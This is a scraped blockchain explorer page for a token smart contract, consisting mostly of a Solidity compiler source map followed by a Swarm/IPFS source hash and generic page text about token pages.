;;;;:3;:39::i;:::-;4809:46;;4732:131;;;;:::o;4109:135::-;4166:7;4193:43;4197:1;4200;4193:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;4186:50;;4109:135;;;;:::o;24760:562::-;24896:21;24934:1;24920:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24896:40;;24965:4;24947;24952:1;24947:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;24991:6;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24981:4;24986:1;24981:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;25017:49;25034:4;25049:6;25058:7;25017:8;:49::i;:::-;25103:6;:57;;;25175:7;25197:1;25241:4;25268;25288:15;25103:211;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24825:497;24760:562;:::o;26838:350::-;26982:49;26999:4;27014:6;27023:7;26982:8;:49::i;:::-;27074:6;:22;;;27105:9;27126:4;27133:7;27142:1;27145;27157:4;27164:15;27074:106;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;26838:350;;:::o;4449:277::-;4534:7;4566:1;4562;:5;4569:12;4554:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4593:9;4609:1;4605;:5;;;;:::i;:::-;4593:17;;4717:1;4710:8;;;4449:277;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:116::-;3516:21;3531:5;3516:21;:::i;:::-;3509:5;3506:32;3496:60;;3552:1;3549;3542:12;3496:60;3446:116;:::o;3568:133::-;3611:5;3649:6;3636:20;3627:29;;3665:30;3689:5;3665:30;:::i;:::-;3568:133;;;;:::o;3707:468::-;3772:6;3780;3829:2;3817:9;3808:7;3804:23;3800:32;3797:119;;;3835:79;;:::i;:::-;3797:119;3955:1;3980:53;4025:7;4016:6;4005:9;4001:22;3980:53;:::i;:::-;3970:63;;3926:117;4082:2;4108:50;4150:7;4141:6;4130:9;4126:22;4108:50;:::i;:::-;4098:60;;4053:115;3707:468;;;;;:::o;4181:329::-;4240:6;4289:2;4277:9;4268:7;4264:23;4260:32;4257:119;;;4295:79;;:::i;:::-;4257:119;4415:1;4440:53;4485:7;4476:6;4465:9;4461:22;4440:53;:::i;:::-;4430:63;;4386:117;4181:329;;;;:::o;4516:118::-;4603:24;4621:5;4603:24;:::i;:::-;4598:3;4591:37;4516:118;;:::o;4640:222::-;4733:4;4771:2;4760:9;4756:18;4748:26;;4784:71;4852:1;4841:9;4837:17;4828:6;4784:71;:::i;:::-;4640:222;;;;:::o;4868:323::-;4924:6;4973:2;4961:9;4952:7;4948:23;4944:32;4941:119;;;4979:79;;:::i;:::-;4941:119;5099:1;5124:50;5166:7;5157:6;5146:9;5142:22;5124:50;:::i;:::-;5114:60;;5070:114;4868:323;;;;:::o;5197:619::-;5274:6;5282;5290;5339:2;5327:9;5318:7;5314:23;5310:32;5307:119;;;5345:79;;:::i;:::-;5307:119;5465:1;5490:53;5535:7;5526:6;5515:9;5511:22;5490:53;:::i;:::-;5480:63;;5436:117;5592:2;5618:53;5663:7;5654:6;5643:9;5639:22;5618:53;:::i;:::-;5608:63;;5563:118;5720:2;5746:53;5791:7;5782:6;5771:9;5767:22;5746:53;:::i;:::-;5736:63;;5691:118;5197:619;;;;;:::o;5822:86::-;5857:7;5897:4;5890:5;5886:16;5875:27;;5822:86;;;:::o;5914:112::-;5997:22;6013:5;5997:22;:::i;:::-;5992:3;5985:35;5914:112;;:::o;6032:214::-;6121:4;6159:2;6148:9;6144:18;6136:26;;6172:67;6236:1;6225:9;6221:17;6212:6;6172:67;:::i;:::-;6032:214;;;;:::o;6252:118::-;6339:24;6357:5;6339:24;:::i;:::-;6334:3;6327:37;6252:118;;:::o;6376:222::-;6469:4;6507:2;6496:9;6492:18;6484:26;;6520:71;6588:1;6577:9;6573:17;6564:6;6520:71;:::i;:::-;6376:222;;;;:::o;6604:329::-;6663:6;6712:2;6700:9;6691:7;6687:23;6683:32;6680:119;;;6718:79;;:::i;:::-;6680:119;6838:1;6863:53;6908:7;6899:6;6888:9;6884:22;6863:53;:::i;:::-;6853:63;;6809:117;6604:329;;;;:::o;6939:997::-;7228:4;7266:3;7255:9;7251:19;7243:27;;7280:71;7348:1;7337:9;7333:17;7324:6;7280:71;:::i;:::-;7361:72;7429:2;7418:9;7414:18;7405:6;7361:72;:::i;:::-;7443;7511:2;7500:9;7496:18;7487:6;7443:72;:::i;:::-;7525;7593:2;7582:9;7578:18;7569:6;7525:72;:::i;:::-;7607:73;7675:3;7664:9;7660:19;7651:6;7607:73;:::i;:::-;7690;7758:3;7747:9;7743:19;7734:6;7690:73;:::i;:::-;7773;7841:3;7830:9;7826:19;7817:6;7773:73;:::i;:::-;7856;7924:3;7913:9;7909:19;7900:6;7856:73;:::i;:::-;6939:997;;;;;;;;;;;:::o;7942:474::-;8010:6;8018;8067:2;8055:9;8046:7;8042:23;8038:32;8035:119;;;8073:79;;:::i;:::-;8035:119;8193:1;8218:53;8263:7;8254:6;8243:9;8239:22;8218:53;:::i;:::-;8208:63;;8164:117;8320:2;8346:53;8391:7;8382:6;8371:9;8367:22;8346:53;:::i;:::-;8336:63;;8291:118;7942:474;;;;;:::o;8422:60::-;8450:3;8471:5;8464:12;;8422:60;;;:::o;8488:142::-;8538:9;8571:53;8589:34;8598:24;8616:5;8598:24;:::i;:::-;8589:34;:::i;:::-;8571:53;:::i;:::-;8558:66;;8488:142;;;:::o;8636:126::-;8686:9;8719:37;8750:5;8719:37;:::i;:::-;8706:50;;8636:126;;;:::o;8768:153::-;8845:9;8878:37;8909:5;8878:37;:::i;:::-;8865:50;;8768:153;;;:::o;8927:185::-;9041:64;9099:5;9041:64;:::i;:::-;9036:3;9029:77;8927:185;;:::o;9118:276::-;9238:4;9276:2;9265:9;9261:18;9253:26;;9289:98;9384:1;9373:9;9369:17;9360:6;9289:98;:::i;:::-;9118:276;;;;:::o;9400:180::-;9448:77;9445:1;9438:88;9545:4;9542:1;9535:15;9569:4;9566:1;9559:15;9586:320;9630:6;9667:1;9661:4;9657:12;9647:22;;9714:1;9708:4;9704:12;9735:18;9725:81;;9791:4;9783:6;9779:17;9769:27;;9725:81;9853:2;9845:6;9842:14;9822:18;9819:38;9816:84;;9872:18;;:::i;:::-;9816:84;9637:269;9586:320;;;:::o;9912:182::-;10052:34;10048:1;10040:6;10036:14;10029:58;9912:182;:::o;10100:366::-;10242:3;10263:67;10327:2;10322:3;10263:67;:::i;:::-;10256:74;;10339:93;10428:3;10339:93;:::i;:::-;10457:2;10452:3;10448:12;10441:19;;10100:366;;;:::o;10472:419::-;10638:4;10676:2;10665:9;10661:18;10653:26;;10725:9;10719:4;10715:20;10711:1;10700:9;10696:17;10689:47;10753:131;10879:4;10753:131;:::i;:::-;10745:139;;10472:419;;;:::o;10897:231::-;11037:34;11033:1;11025:6;11021:14;11014:58;11106:14;11101:2;11093:6;11089:15;11082:39;10897:231;:::o;11134:366::-;11276:3;11297:67;11361:2;11356:3;11297:67;:::i;:::-;11290:74;;11373:93;11462:3;11373:93;:::i;:::-;11491:2;11486:3;11482:12;11475:19;;11134:366;;;:::o;11506:419::-;11672:4;11710:2;11699:9;11695:18;11687:26;;11759:9;11753:4;11749:20;11745:1;11734:9;11730:17;11723:47;11787:131;11913:4;11787:131;:::i;:::-;11779:139;;11506:419;;;:::o;11931:147::-;12032:11;12069:3;12054:18;;11931:147;;;;:::o;12084:114::-;;:::o;12204:398::-;12363:3;12384:83;12465:1;12460:3;12384:83;:::i;:::-;12377:90;;12476:93;12565:3;12476:93;:::i;:::-;12594:1;12589:3;12585:11;12578:18;;12204:398;;;:::o;12608:379::-;12792:3;12814:147;12957:3;12814:147;:::i;:::-;12807:154;;12978:3;12971:10;;12608:379;;;:::o;12993:225::-;13133:34;13129:1;13121:6;13117:14;13110:58;13202:8;13197:2;13189:6;13185:15;13178:33;12993:225;:::o;13224:366::-;13366:3;13387:67;13451:2;13446:3;13387:67;:::i;:::-;13380:74;;13463:93;13552:3;13463:93;:::i;:::-;13581:2;13576:3;13572:12;13565:19;;13224:366;;;:::o;13596:419::-;13762:4;13800:2;13789:9;13785:18;13777:26;;13849:9;13843:4;13839:20;13835:1;13824:9;13820:17;13813:47;13877:131;14003:4;13877:131;:::i;:::-;13869:139;;13596:419;;;:::o;14021:180::-;14069:77;14066:1;14059:88;14166:4;14163:1;14156:15;14190:4;14187:1;14180:15;14207:191;14247:3;14266:20;14284:1;14266:20;:::i;:::-;14261:25;;14300:20;14318:1;14300:20;:::i;:::-;14295:25;;14343:1;14340;14336:9;14329:16;;14364:3;14361:1;14358:10;14355:36;;;14371:18;;:::i;:::-;14355:36;14207:191;;;;:::o;14404:177::-;14544:29;14540:1;14532:6;14528:14;14521:53;14404:177;:::o;14587:366::-;14729:3;14750:67;14814:2;14809:3;14750:67;:::i;:::-;14743:74;;14826:93;14915:3;14826:93;:::i;:::-;14944:2;14939:3;14935:12;14928:19;;14587:366;;;:::o;14959:419::-;15125:4;15163:2;15152:9;15148:18;15140:26;;15212:9;15206:4;15202:20;15198:1;15187:9;15183:17;15176:47;15240:131;15366:4;15240:131;:::i;:::-;15232:139;;14959:419;;;:::o;15384:172::-;15524:24;15520:1;15512:6;15508:14;15501:48;15384:172;:::o;15562:366::-;15704:3;15725:67;15789:2;15784:3;15725:67;:::i;:::-;15718:74;;15801:93;15890:3;15801:93;:::i;:::-;15919:2;15914:3;15910:12;15903:19;;15562:366;;;:::o;15934:419::-;16100:4;16138:2;16127:9;16123:18;16115:26;;16187:9;16181:4;16177:20;16173:1;16162:9;16158:17;16151:47;16215:131;16341:4;16215:131;:::i;:::-;16207:139;;15934:419;;;:::o;16359:240::-;16499:34;16495:1;16487:6;16483:14;16476:58;16568:23;16563:2;16555:6;16551:15;16544:48;16359:240;:::o;16605:366::-;16747:3;16768:67;16832:2;16827:3;16768:67;:::i;:::-;16761:74;;16844:93;16933:3;16844:93;:::i;:::-;16962:2;16957:3;16953:12;16946:19;;16605:366;;;:::o;16977:419::-;17143:4;17181:2;17170:9;17166:18;17158:26;;17230:9;17224:4;17220:20;17216:1;17205:9;17201:17;17194:47;17258:131;17384:4;17258:131;:::i;:::-;17250:139;;16977:419;;;:::o;17402:241::-;17542:34;17538:1;17530:6;17526:14;17519:58;17611:24;17606:2;17598:6;17594:15;17587:49;17402:241;:::o;17649:366::-;17791:3;17812:67;17876:2;17871:3;17812:67;:::i;:::-;17805:74;;17888:93;17977:3;17888:93;:::i;:::-;18006:2;18001:3;17997:12;17990:19;;17649:366;;;:::o;18021:419::-;18187:4;18225:2;18214:9;18210:18;18202:26;;18274:9;18268:4;18264:20;18260:1;18249:9;18245:17;18238:47;18302:131;18428:4;18302:131;:::i;:::-;18294:139;;18021:419;;;:::o;18446:169::-;18586:21;18582:1;18574:6;18570:14;18563:45;18446:169;:::o;18621:366::-;18763:3;18784:67;18848:2;18843:3;18784:67;:::i;:::-;18777:74;;18860:93;18949:3;18860:93;:::i;:::-;18978:2;18973:3;18969:12;18962:19;;18621:366;;;:::o;18993:419::-;19159:4;19197:2;19186:9;19182:18;19174:26;;19246:9;19240:4;19236:20;19232:1;19221:9;19217:17;19210:47;19274:131;19400:4;19274:131;:::i;:::-;19266:139;;18993:419;;;:::o;19418:410::-;19458:7;19481:20;19499:1;19481:20;:::i;:::-;19476:25;;19515:20;19533:1;19515:20;:::i;:::-;19510:25;;19570:1;19567;19563:9;19592:30;19610:11;19592:30;:::i;:::-;19581:41;;19771:1;19762:7;19758:15;19755:1;19752:22;19732:1;19725:9;19705:83;19682:139;;19801:18;;:::i;:::-;19682:139;19466:362;19418:410;;;;:::o;19834:180::-;19882:77;19879:1;19872:88;19979:4;19976:1;19969:15;20003:4;20000:1;19993:15;20020:185;20060:1;20077:20;20095:1;20077:20;:::i;:::-;20072:25;;20111:20;20129:1;20111:20;:::i;:::-;20106:25;;20150:1;20140:35;;20155:18;;:::i;:::-;20140:35;20197:1;20194;20190:9;20185:14;;20020:185;;;;:::o;20211:194::-;20251:4;20271:20;20289:1;20271:20;:::i;:::-;20266:25;;20305:20;20323:1;20305:20;:::i;:::-;20300:25;;20349:1;20346;20342:9;20334:17;;20373:1;20367:4;20364:11;20361:37;;;20378:18;;:::i;:::-;20361:37;20211:194;;;;:::o;20411:332::-;20532:4;20570:2;20559:9;20555:18;20547:26;;20583:71;20651:1;20640:9;20636:17;20627:6;20583:71;:::i;:::-;20664:72;20732:2;20721:9;20717:18;20708:6;20664:72;:::i;:::-;20411:332;;;;;:::o;20749:220::-;20889:34;20885:1;20877:6;20873:14;20866:58;20958:3;20953:2;20945:6;20941:15;20934:28;20749:220;:::o;20975:366::-;21117:3;21138:67;21202:2;21197:3;21138:67;:::i;:::-;21131:74;;21214:93;21303:3;21214:93;:::i;:::-;21332:2;21327:3;21323:12;21316:19;;20975:366;;;:::o;21347:419::-;21513:4;21551:2;21540:9;21536:18;21528:26;;21600:9;21594:4;21590:20;21586:1;21575:9;21571:17;21564:47;21628:131;21754:4;21628:131;:::i;:::-;21620:139;;21347:419;;;:::o;21772:180::-;21820:77;21817:1;21810:88;21917:4;21914:1;21907:15;21941:4;21938:1;21931:15;21958:180;22006:77;22003:1;21996:88;22103:4;22100:1;22093:15;22127:4;22124:1;22117:15;22144:143;22201:5;22232:6;22226:13;22217:22;;22248:33;22275:5;22248:33;:::i;:::-;22144:143;;;;:::o;22293:351::-;22363:6;22412:2;22400:9;22391:7;22387:23;22383:32;22380:119;;;22418:79;;:::i;:::-;22380:119;22538:1;22563:64;22619:7;22610:6;22599:9;22595:22;22563:64;:::i;:::-;22553:74;;22509:128;22293:351;;;;:::o;22650:85::-;22695:7;22724:5;22713:16;;22650:85;;;:::o;22741:158::-;22799:9;22832:61;22850:42;22859:32;22885:5;22859:32;:::i;:::-;22850:42;:::i;:::-;22832:61;:::i;:::-;22819:74;;22741:158;;;:::o;22905:147::-;23000:45;23039:5;23000:45;:::i;:::-;22995:3;22988:58;22905:147;;:::o;23058:114::-;23125:6;23159:5;23153:12;23143:22;;23058:114;;;:::o;23178:184::-;23277:11;23311:6;23306:3;23299:19;23351:4;23346:3;23342:14;23327:29;;23178:184;;;;:::o;23368:132::-;23435:4;23458:3;23450:11;;23488:4;23483:3;23479:14;23471:22;;23368:132;;;:::o;23506:108::-;23583:24;23601:5;23583:24;:::i;:::-;23578:3;23571:37;23506:108;;:::o;23620:179::-;23689:10;23710:46;23752:3;23744:6;23710:46;:::i;:::-;23788:4;23783:3;23779:14;23765:28;;23620:179;;;;:::o;23805:113::-;23875:4;23907;23902:3;23898:14;23890:22;;23805:113;;;:::o;23954:732::-;24073:3;24102:54;24150:5;24102:54;:::i;:::-;24172:86;24251:6;24246:3;24172:86;:::i;:::-;24165:93;;24282:56;24332:5;24282:56;:::i;:::-;24361:7;24392:1;24377:284;24402:6;24399:1;24396:13;24377:284;;;24478:6;24472:13;24505:63;24564:3;24549:13;24505:63;:::i;:::-;24498:70;;24591:60;24644:6;24591:60;:::i;:::-;24581:70;;24437:224;24424:1;24421;24417:9;24412:14;;24377:284;;;24381:14;24677:3;24670:10;;24078:608;;;23954:732;;;;:::o;24692:831::-;24955:4;24993:3;24982:9;24978:19;24970:27;;25007:71;25075:1;25064:9;25060:17;25051:6;25007:71;:::i;:::-;25088:80;25164:2;25153:9;25149:18;25140:6;25088:80;:::i;:::-;25215:9;25209:4;25205:20;25200:2;25189:9;25185:18;25178:48;25243:108;25346:4;25337:6;25243:108;:::i;:::-;25235:116;;25361:72;25429:2;25418:9;25414:18;25405:6;25361:72;:::i;:::-;25443:73;25511:3;25500:9;25496:19;25487:6;25443:73;:::i;:::-;24692:831;;;;;;;;:::o;25529:807::-;25778:4;25816:3;25805:9;25801:19;25793:27;;25830:71;25898:1;25887:9;25883:17;25874:6;25830:71;:::i;:::-;25911:72;25979:2;25968:9;25964:18;25955:6;25911:72;:::i;:::-;25993:80;26069:2;26058:9;26054:18;26045:6;25993:80;:::i;:::-;26083;26159:2;26148:9;26144:18;26135:6;26083:80;:::i;:::-;26173:73;26241:3;26230:9;26226:19;26217:6;26173:73;:::i;:::-;26256;26324:3;26313:9;26309:19;26300:6;26256:73;:::i;:::-;25529:807;;;;;;;;;:::o;26342:143::-;26399:5;26430:6;26424:13;26415:22;;26446:33;26473:5;26446:33;:::i;:::-;26342:143;;;;:::o;26491:663::-;26579:6;26587;26595;26644:2;26632:9;26623:7;26619:23;26615:32;26612:119;;;26650:79;;:::i;:::-;26612:119;26770:1;26795:64;26851:7;26842:6;26831:9;26827:22;26795:64;:::i;:::-;26785:74;;26741:128;26908:2;26934:64;26990:7;26981:6;26970:9;26966:22;26934:64;:::i;:::-;26924:74;;26879:129;27047:2;27073:64;27129:7;27120:6;27109:9;27105:22;27073:64;:::i;:::-;27063:74;;27018:129;26491:663;;;;;:::o
Swarm Source
ipfs://3363bbe4d06e51c2c2a86073176bb53732c855919f669ddc4f90a2c2dd54c863
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.